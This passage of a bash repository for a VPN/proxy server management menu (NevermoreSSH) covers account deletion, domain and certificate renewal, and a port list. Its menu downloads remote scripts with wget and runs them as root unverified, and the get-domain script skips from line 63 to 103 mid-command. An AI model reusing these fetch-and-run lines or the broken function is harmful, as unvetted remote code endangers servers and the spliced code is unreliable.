281 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 282 | echo -e "Expired On : $exp" | tee -a /etc/nevermoressh/user.log 283 | echo -e "" | tee -a /etc/nevermoressh/user.log 284 | read -n 1 -s -r -p "Press any key to back on menu" 285 | 286 | menu 287 | -------------------------------------------------------------------------------- /update/del-ss: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # //==================================================== 3 | # // System Request:Debian 9+/Ubuntu 18.04+/20+ 4 | # // Author: elliez 5 | # // Dscription: Xray Menu Management 6 | # // email: elliez667@gmail.com 7 | # // telegram: https://t.me/todfix667 8 | # //==================================================== 9 | # // font color configuration | NEVERMORE SSH AUTOSCRIPT 10 | red() { echo -e "\\033[32;1m${*}\\033[0m"; } 11 | clear 12 | NUMBER_OF_CLIENTS=$(grep -c -E "^#ss# " "/etc/xray/config.json") 13 | if [[ ${NUMBER_OF_CLIENTS} == '0' ]]; then 14 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 15 | echo -e "\e[42m Delete Shadowsocks Account \E[0m" 16 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 17 | echo "" 18 | echo "You have no existing clients!" 19 | echo "" 20 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 21 | read -n 1 -s -r -p "Press any key to back on menu" 22 | menu 23 | fi 24 | 25 | clear 26 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 27 | echo -e "\e[42m Delete Shadowsocks Account \E[0m" 28 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 29 | echo " NO User Expired " 30 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 31 | grep -E "^#ss# " "/etc/xray/config.json" | cut -d ' ' -f 2-3 | column -t | sort | uniq 32 | echo "" 33 | red "tap enter to go back" 34 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 35 | grep -E "^#ss# " "/etc/xray/config.json" | cut -d ' ' -f 2-3 | nl -s ') ' 36 | until [[ ${CLIENT_NUMBER} -ge 1 && ${CLIENT_NUMBER} -le ${NUMBER_OF_CLIENTS} ]]; do 37 | if [[ ${CLIENT_NUMBER} == '1' ]]; then 38 | read -rp "Select one client [1]: " CLIENT_NUMBER 39 | else 40 | read -rp "Select one client [1-${NUMBER_OF_CLIENTS}]: " CLIENT_NUMBER 41 | fi 42 | done 43 | user=$(grep -E "^#ss# " "/etc/xray/config.json" | cut -d ' ' -f 2 | sed -n "${CLIENT_NUMBER}"p) 44 | exp=$(grep -E "^#ss# " "/etc/xray/config.json" | cut -d ' ' -f 3 | sed -n "${CLIENT_NUMBER}"p) 45 | sed -i "/^#ss# $user $exp/,/^},{/d" /etc/xray/config.json 46 | sed -i "/^### $user $exp/d" /etc/shadowsocks/.shadowsocks.db 47 | systemctl restart xray 48 | clear 49 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 50 | echo "Shadowsocks Account Deleted Successfully" 51 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 52 | echo " Client Name : $user" 53 | echo " Expired On : $exp" 54 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 55 | echo "" 56 | read -n 1 -s -r -p "Press any key to back on menu" 57 | 58 | menu 59 | -------------------------------------------------------------------------------- /update/del-ssh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | clear 3 | red() { echo -e "\\033[32;1m${*}\\033[0m"; } 4 | clear 5 | echo -e "\033[1;93m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" 6 | echo -e "\e[42m DELETE USER \E[0m" 7 | echo -e "\033[1;93m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" 8 | read -p " Username : " USERSSH 9 | 10 | if [ -z $USERSSH ]; then 11 | echo -e "Username cannot be empty " 12 | else 13 | if getent passwd $USERSSH >/dev/null 2>&1; then 14 | userdel $USERSSH >/dev/null 2>&1 15 | sed -i "/^### $USERSSH/d" /etc/ssh/.ssh.db 16 | echo -e "User $USERSSH was removed." 17 | else 18 | echo -e "Failure: User $USERSSH Not Exist." 19 | fi 20 | fi 21 | echo -e "" 22 | read -n 1 -s -r -p "Press any key to back on menu" 23 | menu 24 | -------------------------------------------------------------------------------- /update/del-tr: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # //==================================================== 3 | # // System Request:Debian 9+/Ubuntu 18.04+/20+ 4 | # // Author: elliez 5 | # // Dscription: Xray Menu Management 6 | # // email: elliez667@gmail.com 7 | # // telegram: https://t.me/todfix667 8 | # //==================================================== 9 | # // font color configuration | NEVERMORE SSH AUTOSCRIPT 10 | red() { echo -e "\\033[32;1m${*}\\033[0m"; } 11 | clear 12 | NUMBER_OF_CLIENTS=$(grep -c -E "^#! " "/etc/xray/config.json") 13 | if [[ ${NUMBER_OF_CLIENTS} == '0' ]]; then 14 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 15 | echo -e "\e[42m Delete Trojan Account \E[0m" 16 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 17 | echo "" 18 | echo "You have no existing clients!" 19 | echo "" 20 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 21 | read -n 1 -s -r -p "Press any key to back on menu" 22 | menu 23 | fi 24 | 25 | clear 26 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 27 | echo -e "\e[42m Delete Trojan Account \E[0m" 28 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 29 | echo " NO User Expired " 30 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 31 | grep -E "^#! " "/etc/xray/config.json" | cut -d ' ' -f 2-3 | column -t | sort | uniq 32 | echo "" 33 | red "tap enter to go back" 34 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 35 | grep -E "^#! " "/etc/xray/config.json" | cut -d ' ' -f 2-3 | nl -s ') ' 36 | until [[ ${CLIENT_NUMBER} -ge 1 && ${CLIENT_NUMBER} -le ${NUMBER_OF_CLIENTS} ]]; do 37 | if [[ ${CLIENT_NUMBER} == '1' ]]; then 38 | read -rp "Select one client [1]: " CLIENT_NUMBER 39 | else 40 | read -rp "Select one client [1-${NUMBER_OF_CLIENTS}]: " CLIENT_NUMBER 41 | fi 42 | done 43 | user=$(grep -E "^#! " "/etc/xray/config.json" | cut -d ' ' -f 2 | sed -n "${CLIENT_NUMBER}"p) 44 | exp=$(grep -E "^#! " "/etc/xray/config.json" | cut -d ' ' -f 3 | sed -n "${CLIENT_NUMBER}"p) 45 | sed -i "/^#! $user $exp/,/^},{/d" /etc/xray/config.json 46 | sed -i "/^### $user $exp/d" /etc/trojan/.trojan.db 47 | systemctl restart xray 48 | clear 49 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 50 | echo " Trojan Account Deleted Successfully" 51 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 52 | echo " Client Name : $user" 53 | echo " Expired On : $exp" 54 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 55 | echo "" 56 | read -n 1 -s -r -p "Press any key to back on menu" 57 | menu 58 | -------------------------------------------------------------------------------- /update/del-vless: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # //==================================================== 3 | # // System Request:Debian 9+/Ubuntu 18.04+/20+ 4 | # // Author: elliez 5 | # // Dscription: Xray Menu Management 6 | # // email: elliez667@gmail.com 7 | # // telegram: https://t.me/todfix667 8 | # //==================================================== 9 | # // font color configuration | NEVERMORE SSH AUTOSCRIPT 10 | red() { echo -e "\\033[32;1m${*}\\033[0m"; } 11 | clear 12 | NUMBER_OF_CLIENTS=$(grep -c -E "^#& " "/etc/xray/config.json") 13 | if [[ ${NUMBER_OF_CLIENTS} == '0' ]]; then 14 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 15 | echo -e "\e[42m Delete Vless Account \E[0m" 16 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 17 | echo "" 18 | echo "You have no existing clients!" 19 | echo "" 20 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 21 | read -n 1 -s -r -p "Press any key to back on menu" 22 | menu 23 | fi 24 | 25 | clear 26 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 27 | echo -e "\e[42m Delete Vless Account \E[0m" 28 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 29 | echo " NO User Expired " 30 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 31 | grep -E "^#& " "/etc/xray/config.json" | cut -d ' ' -f 2-3 | nl -s ') ' 32 | until [[ ${CLIENT_NUMBER} -ge 1 && ${CLIENT_NUMBER} -le ${NUMBER_OF_CLIENTS} ]]; do 33 | if [[ ${CLIENT_NUMBER} == '1' ]]; then 34 | read -rp "Select one client [1]: " CLIENT_NUMBER 35 | else 36 | read -rp "Select one client [1-${NUMBER_OF_CLIENTS}]: " CLIENT_NUMBER 37 | fi 38 | done 39 | user=$(grep -E "^#& " "/etc/xray/config.json" | cut -d ' ' -f 2 | sed -n "${CLIENT_NUMBER}"p) 40 | exp=$(grep -E "^#& " "/etc/xray/config.json" | cut -d ' ' -f 3 | sed -n "${CLIENT_NUMBER}"p) 41 | sed -i "/^#& $user $exp/,/^},{/d" /etc/xray/config.json 42 | sed -i "/^### $user $exp/d" /etc/vless/.vless.db 43 | systemctl restart xray 44 | clear 45 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 46 | echo " Vless Account Deleted Successfully" 47 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 48 | echo " Client Name : $user" 49 | echo " Expired On : $exp" 50 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 51 | echo "" 52 | read -n 1 -s -r -p "Press any key to back on menu" 53 | 54 | menu 55 | -------------------------------------------------------------------------------- /update/del-ws: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # //==================================================== 3 | # // System Request:Debian 9+/Ubuntu 18.04+/20+ 4 | # // Author: elliez 5 | # // Dscription: Xray Menu Management 6 | # // email: elliez667@gmail.com 7 | # // telegram: https://t.me/todfix667 8 | # //==================================================== 9 | # // font color configuration | NEVERMORE SSH AUTOSCRIPT 10 | red() { echo -e "\\033[32;1m${*}\\033[0m"; } 11 | clear 12 | NUMBER_OF_CLIENTS=$(grep -c -E "^### " "/etc/xray/config.json") 13 | if [[ ${NUMBER_OF_CLIENTS} == '0' ]]; then 14 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 15 | echo -e "\e[42m Delete Vmess Account \E[0m" 16 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 17 | echo "" 18 | echo "You have no existing clients!" 19 | echo "" 20 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 21 | read -n 1 -s -r -p "Press any key to back on menu" 22 | menu 23 | fi 24 | 25 | clear 26 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 27 | echo -e "\e[42m Delete Vmess Account \E[0m" 28 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 29 | echo " NO User Expired " 30 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 31 | grep -E "^### " "/etc/xray/config.json" | cut -d ' ' -f 2-3 | nl -s ') ' 32 | until [[ ${CLIENT_NUMBER} -ge 1 && ${CLIENT_NUMBER} -le ${NUMBER_OF_CLIENTS} ]]; do 33 | if [[ ${CLIENT_NUMBER} == '1' ]]; then 34 | read -rp "Select one client [1]: " CLIENT_NUMBER 35 | else 36 | read -rp "Select one client [1-${NUMBER_OF_CLIENTS}]: " CLIENT_NUMBER 37 | fi 38 | done 39 | user=$(grep -E "^### " "/etc/xray/config.json" | cut -d ' ' -f 2 | sed -n "${CLIENT_NUMBER}"p) 40 | exp=$(grep -E "^### " "/etc/xray/config.json" | cut -d ' ' -f 3 | sed -n "${CLIENT_NUMBER}"p) 41 | sed -i "/^### $user $exp/,/^},{/d" /etc/xray/config.json 42 | sed -i "/^### $user $exp/d" /etc/vmess/.vmess.db 43 | systemctl restart xray 44 | clear 45 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 46 | echo "Vmess Account Deleted Successfully" 47 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 48 | echo " Client Name : $user" 49 | echo " Expired On : $exp" 50 | echo -e "\033[1;93m─────────────────────────────────────────\033[0m" 51 | echo "" 52 | read -n 1 -s -r -p "Press any key to back on menu" 53 | 54 | menu 55 | -------------------------------------------------------------------------------- /update/get-domain: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # //==================================================== 3 | # // System Request:Debian 9+/Ubuntu 18.04+/20+ 4 | # // Author: elliez667 5 | # // Dscription: Xray Menu Management 6 | # // email: elliez667@gmail.com 7 | # // telegram: https://t.me/todfix667 8 | # //==================================================== 9 | # // font color configuration | AUTOSCRIPT BY NEVERMORESSH 10 | #nuryahyamuhaimin@gmail.com 11 | RED='\033[0;31m' 12 | NC='\033[0m' 13 | GREEN='\033[0;32m' 14 | ORANGE='\033[0;33m' 15 | BLUE='\033[0;34m' 16 | PURPLE='\033[0;35m' 17 | CYAN='\033[0;36m' 18 | LIGHT='\033[0;37m' 19 | Font="\033[0m" 20 | gray="\e[1;30m" 21 | total_ram=$(grep "MemTotal: " /proc/meminfo | awk '{ print $2}') 22 | totalram=$(($total_ram / 1024)) 23 | MYIP=$(curl -sS ipv4.icanhazip.com) 24 | LAST_DOMAIN="$(cat /etc/xray/domain)" 25 | NS="$(cat /etc/xray/dns)" 26 | red() { echo -e "\\033[32;1m${*}\\033[0m"; } 27 | 28 | function get_acme_domain() { 29 | 30 | echo -e "${GREEN}--->${NC} Start " 31 | systemctl stop nginx 32 | systemctl stop haproxy 33 | STOPWEBSERVER=$(lsof -i:80 | cut -d' ' -f1 | awk 'NR==2 {print $1}') 34 | systemctl stop $STOPWEBSERVER 35 | echo -e "${GREEN}--->${NC} Starting renew cert " 36 | sleep 2 37 | echo -e "${GREEN}--->$NC Getting acme for cert" 38 | /root/.acme.sh/acme.sh --upgrade --auto-upgrade >/dev/null 2>&1 39 | /root/.acme.sh/acme.sh --set-default-ca --server letsencrypt >/dev/null 2>&1 40 | /root/.acme.sh/acme.sh --issue -d $domain --standalone -k ec-256 >/dev/null 2>&1 41 | /.acme.sh/acme.sh --installcert -d $domain --fullchainpath /etc/xray/xray.crt --keypath /etc/xray/xray.key --ecc >/dev/null 2>&1 42 | echo -e "${GREEN}--->${NC} Renew cert done " 43 | sed -i "s/${LAST_DOMAIN}/${domain}/g" /etc/nginx/conf.d/xray.conf >/dev/null 2>&1 44 | sed -i "s/${LAST_DOMAIN}/${domain}/g" /var/www/html/index.html >/dev/null 2>&1 45 | sed -i "s/${LAST_DOMAIN}/${domain}/g" /etc/haproxy/haproxy.cfg >/dev/null 2>&1 46 | cat /etc/xray/xray.crt /etc/xray/xray.key | tee /etc/haproxy/yha.pem >/dev/null 2>&1 47 | systemctl daemon-reload >/dev/null 2>&1 48 | systemctl restart server >/dev/null 2>&1 49 | systemctl restart client >/dev/null 2>&1 50 | systemctl restart haproxy >/dev/null 2>&1 51 | systemctl restart nginx >/dev/null 2>&1 52 | systemctl restart xray >/dev/null 2>&1 53 | sleep 2 54 | echo "" 55 | # echo -e "${GREEN}--->${NC} Renew NS-Domain " 56 | # read -n 1 -s -r -p "Press any key to back on menu" 57 | 58 | # menu 59 | } 60 | function ns_domain_cloudflare() { 61 | DOMAINNS="slowdns.app" 62 | DAOMIN=$(cat /etc/xray/domain) 63 | SUB=$(tr /etc/xray/dns 103 | sed -i "s/$NS/$NS_DOMAIN/g" /etc/systemd/system/client.service >/dev/null 2>&1 104 | sed -i "s/$NS/$NS_DOMAIN/g" /etc/systemd/system/server.service >/dev/null 2>&1 105 | } 106 | 107 | clear 108 | echo -e "\033[0;33m ┌──────────────────────────────────────────┐\033[0m" 109 | echo -e "\033[0;33m │\033[0m \033[0;32mCHANGE DOMAIN VPS\033[0m \033[0;33m|\033[0m" 110 | echo -e "\033[0;33m └──────────────────────────────────────────┘\033[0m" 111 | echo -e " ${RED}Autoscript xray vpn lite (multi port)${NC}" 112 | echo -e "${RED}Make sure the internet is smooth when installing the script${NC}" 113 | echo -e "───────────────────────────────────────────────────────" 114 | echo -e "" 115 | echo -e " ${GREEN}Hostname${NC} : $LAST_DOMAIN" 116 | echo -e " ${GREEN}Public IP${NC} : $MYIP" 117 | echo -e " ${GREEN}Total RAM${NC} : $totalram MB" 118 | echo -e "" 119 | echo -e "───────────────────────────────────────────────────────" 120 | read -rp "Input ur Domain/Host : " -e domain 121 | #read -rp "Input ur NS-Domain : " -e NS_DOMAIN 122 | rm -rf /etc/xray/domain 123 | echo $domain >/etc/xray/domain 124 | #echo $NS_DOMAIN >/etc/xray/dns 125 | get_acme_domain 126 | ns_domain_cloudflare 127 | read -n 1 -s -r -p "Press any key to back on menu" 128 | menu 129 | -------------------------------------------------------------------------------- /update/menu: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # //==================================================== 3 | # // System Request:Debian 9+/Ubuntu 18.04+/20+ 4 | # // Author: elliez667 5 | # // Dscription: Xray Menu Management 6 | # // email: elliez667@gmail.com 7 | # // telegram: https://t.me/todfix667 8 | # //==================================================== 9 | # // font color configuration | AUTOSCRIPT BY NEVERMORESSH 10 | # COLOR VALIDATION 11 | clear 12 | RED='\033[0;31m' 13 | NC='\033[0m' 14 | gray="\e[1;30m" 15 | Blue="\033[0m" 16 | GREEN='\033[0m' 17 | grenbo="\e[92;1m" 18 | YELL='\033[0;33m' 19 | ISP=$(cat /etc/xray/isp) 20 | NS=$(cat /etc/xray/dns) 21 | CITY=$(cat /etc/xray/city) 22 | IPVPS=$(curl -s ipv4.icanhazip.com) 23 | IPVPS=$(curl -s ipinfo.io/ip ) 24 | IPVPS=$(curl -sS ipv4.icanhazip.com) 25 | IPVPS=$(curl -sS ifconfig.me ) 26 | domain=$(cat /etc/xray/domain) 27 | RAM=$(free -m | awk 'NR==2 {print $2}') 28 | USAGERAM=$(free -m | awk 'NR==2 {print $3}') 29 | MEMOFREE=$(printf '%-1s' "$(free -m | awk 'NR==2{printf "%.2f%%", $3*100/$2 }')") 30 | LOADCPU=$(printf '%-0.00001s' "$(top -bn1 | awk '/Cpu/ { cpu = "" 100 - $8 "%" }; END { print cpu }')") 31 | MODEL=$(cat /etc/os-release | grep -w PRETTY_NAME | head -n1 | sed 's/=//g' | sed 's/"//g' | sed 's/PRETTY_NAME//g') 32 | CORE=$(printf '%-1s' "$(grep -c cpu[0-9] /proc/stat)") 33 | Exp="Lifetime" 34 | Name="NevermoreSSH AIO" 35 | # Total BANDWIDTH 36 | dtoday="$(vnstat -i eth0 | grep "today" | awk '{print $2" "substr ($3, 1, 1)}')" 37 | utoday="$(vnstat -i eth0 | grep "today" | awk '{print $5" "substr ($6, 1, 1)}')" 38 | ttoday="$(vnstat -i eth0 | grep "today" | awk '{print $8" "substr ($9, 1, 1)}')" 39 | #Download/Upload yesterday 40 | dyest="$(vnstat -i eth0 | grep "yesterday" | awk '{print $2" "substr ($3, 1, 1)}')" 41 | uyest="$(vnstat -i eth0 | grep "yesterday" | awk '{print $5" "substr ($6, 1, 1)}')" 42 | tyest="$(vnstat -i eth0 | grep "yesterday" | awk '{print $8" "substr ($9, 1, 1)}')" 43 | #Download/Upload current month 44 | dmon="$(vnstat -i eth0 -m | grep "$(date +"%b '%y")" | awk '{print $3" "substr ($4, 1, 1)}')" 45 | umon="$(vnstat -i eth0 -m | grep "$(date +"%b '%y")" | awk '{print $6" "substr ($7, 1, 1)}')" 46 | tmon="$(vnstat -i eth0 -m | grep "$(date +"%b '%y")" | awk '{print $9" "substr ($10, 1, 1)}')" 47 | DATEVPS=$(date +'%d/%m/%Y') 48 | TIMEZONE=$(printf '%(%H:%M:%S)T') 49 | SERONLINE=$(uptime -p | cut -d " " -f 2-10000) 50 | if [ ! -e /etc/vmess ]; then 51 | mkdir -p /etc/vmess 52 | touch /etc/vmess/.vmess.db 53 | fi 54 | vms=$(cat /etc/vmess/.vmess.db) 55 | if [[ $vms = "" ]]; then 56 | vm="0" 57 | else 58 | vm=$(cat /etc/vmess/.vmess.db | grep "###" | wc -l) 59 | fi 60 | 61 | if [ ! -e /etc/vless ]; then 62 | mkdir -p /etc/vless 63 | touch /etc/vless/.vless.db 64 | fi 65 | vms=$(cat /etc/vless/.vless.db) 66 | if [[ $vms = "" ]]; then 67 | vl="0" 68 | else 69 | vl=$(cat /etc/vless/.vless.db | grep "###" | wc -l) 70 | fi 71 | 72 | if [ ! -e /etc/trojan ]; then 73 | mkdir -p /etc/trojan 74 | touch /etc/trojan/.trojan.db 75 | fi 76 | vms=$(cat /etc/trojan/.trojan.db) 77 | if [[ $vms = "" ]]; then 78 | tr="0" 79 | else 80 | tr=$(cat /etc/trojan/.trojan.db | grep "###" | wc -l) 81 | fi 82 | if [ ! -e /etc/shadowsocks ]; then 83 | mkdir -p /etc/shadowsocks 84 | touch /etc/shadowsocks/.shadowsocks.db 85 | fi 86 | vms=$(cat /etc/shadowsocks/.shadowsocks.db) 87 | if [[ $vms = "" ]]; then 88 | ss="0" 89 | else 90 | ss=$(cat /etc/shadowsocks/.shadowsocks.db | grep "###" | wc -l) 91 | fi 92 | if [ ! -e /etc/ssh ]; then 93 | mkdir -p /etc/ssh 94 | touch /etc/ssh/.ssh.db 95 | fi 96 | vms=$(cat /etc/ssh/.ssh.db) 97 | if [[ $vms = "" ]]; then 98 | ssh="0" 99 | else 100 | ssh=$(cat /etc/ssh/.ssh.db | grep "###" | wc -l) 101 | fi 102 | clear 103 | echo -e "\033[1;93m──────────────────────────────────────────\033[0m" 104 | echo -e "\033[42m ∆ NEVERMORESSH MANAGER COMMUNITY ∆ \033[0m" 105 | echo -e "\033[1;93m──────────────────────────────────────────\033[0m" 106 | echo -e " ${YELL}System OS${NC} : \033[0m$MODEL${NC}" 107 | echo -e " ${YELL}Kernel OS ${NC} : \033[0m$(uname -r) $NC" 108 | echo -e " ${YELL}Server RAM${NC} : \033[0m$USAGERAM MB / $RAM MB $NC" 109 | #echo -e " ${YELL}Usage Memory${NC} : \033[0m$MEMOFREE${NC}" 110 | echo -e " ${YELL}LoadCPU${NC} : \033[0m$LOADCPU% ($CORE Core)${NC}" 111 | echo -e " ${YELL}Uptime Server${NC} : \033[0m$SERONLINE${NC}" 112 | #echo -e " ${YELL}Core System${NC} : \033[0m$CORE${NC}" 113 | echo -e " ${YELL}Date${NC} : \033[0m$DATEVPS${NC}" 114 | echo -e " ${YELL}Time${NC} : \033[0m$TIMEZONE${NC}" 115 | #echo -e " ${YELL}Isp VPS${NC} : \033[0m$ISP${NC}" 116 | #echo -e " ${YELL}City${NC} : \033[0m$CITY${NC}" 117 | echo -e " ${YELL}IP VPS${NC} : \033[0m$IPVPS${NC}" 118 | echo -e " ${YELL}Domain${NC} : \033[0m$domain${NC}" 119 | echo -e " ${YELL}NS Domain${NC} : \033[0m$NS${NC}" 120 | echo -e " ${YELL}Exp Script${NC} : \033[0m$Exp${NC}" 121 | echo -e " ${YELL}Name Author${NC} : \033[0m$Name${NC}" 122 | echo -e "\033[1;93m┌──────────────────────────────────────────┐\033[0m" 123 | echo -e "\033[1;93m│\033[0m ${RED}SSH VMESS VLESS TROJAN SHADOWSOCKS$NC" 124 | echo -e "\033[1;93m│\033[0m ${Blue} $ssh $vm $vl $tr $ss $NC" 125 | echo -e "\033[1;93m└──────────────────────────────────────────┘\033[0m" 126 | echo -e "\033[1;93m┌──────────────────────────────────────────┐\033[0m" 127 | echo -e "\033[1;93m│\033[0m ${Blue}Daily Usage : $ttoday $NC" 128 | echo -e "\033[1;93m│\033[0m ${Blue}Yesterday Usage : $tyest $NC" 129 | echo -e "\033[1;93m│\033[0m ${Blue}Monthly Usage : $tmon $NC" 130 | echo -e "\033[1;93m└──────────────────────────────────────────┘\033[0m" 131 | echo -e "\033[1;93m┌──────────────────────────────────────────┐\033[0m" 132 | echo -e "\033[1;93m│ ${grenbo}1.${NC} \033[0mSSH OVPN MANAGER${NC} ${grenbo}8.${NC} \033[0mPORT VPS INFO${NC}" 133 | echo -e "\033[1;93m│ ${grenbo}2.${NC} \033[0mVMESS MANAGER${NC} ${grenbo}9.${NC} \033[0mLOAD VPS INFO${NC}" 134 | echo -e "\033[1;93m│ ${grenbo}3.${NC} \033[0mVLESS MANAGER${NC} ${grenbo}10.${NC} \033[0mSPEEDTEST${NC}" 135 | echo -e "\033[1;93m│ ${grenbo}4.${NC} \033[0mTROJAN MANAGER${NC} ${grenbo}11.${NC} \033[0mCHANGE DOMAIN${NC}" 136 | echo -e "\033[1;93m│ ${grenbo}5.${NC} \033[0mSHDWSK MANAGER${NC} ${grenbo}12.${NC} \033[0mCHANGE BANNER${NC}" 137 | echo -e "\033[1;93m│ ${grenbo}6.${NC} \033[0mRUNNING SYSTEM${NC} ${grenbo}13.${NC} \033[0mRESTART SERVICE${NC}" 138 | echo -e "\033[1;93m│ ${grenbo}7.${NC} \033[0mBACKUP & RESTORE${NC} ${grenbo}14.${NC} \033[0mRESTART SERVER${NC}" 139 | echo -e "\033[1;93m│ " 140 | echo -e "\033[1;93m│ ${grenbo}15.${NC} \033[0mDNS CHANGER${NC} ${grenbo}16.${NC} \033[0mNETFLIX CHECKER${NC}" 141 | echo -e "\033[1;93m│ ${grenbo}17.${NC} \033[0mSWAP RAM${NC} ${grenbo}18.${NC} \033[0mXRAYCORE CHANGER ${NC}" 142 | echo -e "\033[1;93m│ ${grenbo}19.${NC} \033[0mINSTALL UDP${NC} ${grenbo}20.${NC} \033[0mINSTALL BBRPLUS ${NC}" 143 | echo -e "\033[1;93m└──────────────────────────────────────────┘\033[0m" 144 | echo -e "" 145 | echo -e "\033[1;93m┌───────────────────────────────────────────┐\033[0m" 146 | echo -e "\033[1;93m│\033[0m\033[0mNEVERMORESSH${NC}(C)\033[1;94mhttps://github.com/todfix667 ${NC}\033[1;93m\033[0m" 147 | echo -e "\033[1;93m└───────────────────────────────────────────┘\033[0m" 148 | echo -e "" 149 | read -p "Select From Options [ 1 - 18 ] : " menu 150 | case $menu in 151 | 1) 152 | ssh 153 | ;; 154 | 2) 155 | vmess 156 | ;; 157 | 3) 158 | vless 159 | ;; 160 | 4) 161 | trojan 162 | ;; 163 | 5) 164 | shadowsocks 165 | ;; 166 | 6) 167 | run 168 | ;; 169 | 7) 170 | get-backres 171 | ;; 172 | 8) 173 | portin 174 | ;; 175 | 9) 176 | gotop 177 | ;; 178 | 10) 179 | speedtest 180 | ;; 181 | 11) 182 | get-domain 183 | ;; 184 | 12) 185 | nano /etc/issue.net 186 | ;; 187 | 13) 188 | seres 189 | ;; 190 | 14) 191 | reboot 192 | ;; 193 | 15) 194 | dns 195 | ;; 196 | 16) 197 | netf 198 | ;; 199 | 17) 200 | wget -q -O /usr/bin/swapram "https://raw.githubusercontent.com/NevermoreSSH/swapram/main/swapram.sh" && chmod +x /usr/bin/swapram && swapram 201 | ;; 202 | 18) 203 | wget -q -O /usr/bin/xraychanger2 "https://raw.githubusercontent.com/NevermoreSSH/Xcore-custompath/main/xraychanger2.sh" && chmod +x /usr/bin/xraychanger2 && xraychanger2 204 | #exit 205 | ;; 206 | 19) 207 | wget https://raw.githubusercontent.com/NevermoreSSH/Vergil/main/Tunnel/udp.sh && bash udp.sh 208 | ;; 209 | 20) 210 | wget -q -O /usr/sbin/bbr5 "https://raw.githubusercontent.com/NevermoreSSH/BBRplus/main/bbr.sh" && chmod +x /usr/sbin/bbr5 && bbr5 211 | ;; 212 | *) 213 | menu 214 | ;; 215 | esac 216 | -------------------------------------------------------------------------------- /update/portin: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | clear 3 | echo -e "\033[0;33m ┌──────────────────────────────────────────┐\033[0m" 4 | echo -e "\033[0;33m │\033[0m \033[0;32mPORT SERVICE INFO\033[0m \033[0;33m|\033[0m" 5 | echo -e "\033[0;33m └──────────────────────────────────────────┘\033[0m" 6 | echo -e "\033[0;33m┌─────────────────────────────────────────────┐" 7 | echo -e "\033[0;33m│ >>> Service & Port │" 8 | echo -e "\033[0;33m│ - Open SSH : 443, 80, 22 │" 9 | echo -e "\033[0;33m│ - Dropbear : 443, 109, 143 │" 10 | echo -e "\033[0;33m│ - Dropbear Websocket : 443, 109 │" 11 | echo -e "\033[0;33m│ - SSH Websocket SSL : 443 │" 12 | echo -e "\033[0;33m│ - SSH Websocket : 80 │" 13 | echo -e "\033[0;33m│ - OpenVPN SSL : 443 │" 14 | echo -e "\033[0;33m│ - OpenVPN Websocket SSL : 443 │" 15 | echo -e "\033[0;33m│ - OpenVPN TCP : 443, 1194 │" 16 | echo -e "\033[0;33m│ - OpenVPN UDP : 2200 │" 17 | echo -e "\033[0;33m│ - Nginx Webserver : 443, 80, 81 │" 18 | echo -e "\033[0;33m│ - Haproxy Loadbalancer : 443, 80 │" 19 | echo -e "\033[0;33m│ - DNS Server : 443, 53, │" 20 | echo -e "\033[0;33m│ - DNS Client : 443, 88 │" 21 | echo -e "\033[0;33m│ - OpenVPN Websocket SSL : 443 │" 22 | echo -e "\033[0;33m│ - XRAY DNS (SLOWDNS) : 443, 53 │" 23 | echo -e "\033[0;33m│ - XRAY Vmess TLS : 443 │" 24 | echo -e "\033[0;33m│ - XRAY Vmess gRPC : 443 │" 25 | echo -e "\033[0;33m│ - XRAY Vmess None TLS : 80 │" 26 | echo -e "\033[0;33m│ - XRAY Vless TLS : 443 │" 27 | echo -e "\033[0;33m│ - XRAY Vless gRPC : 443 │" 28 | echo -e "\033[0;33m│ - XRAY Vless None TLS : 80 │" 29 | echo -e "\033[0;33m│ - Trojan gRPC : 443 │" 30 | echo -e "\033[0;33m│ - Trojan WS : 443 │" 31 | echo -e "\033[0;33m│ - Shadowsocks WS : 443 │" 32 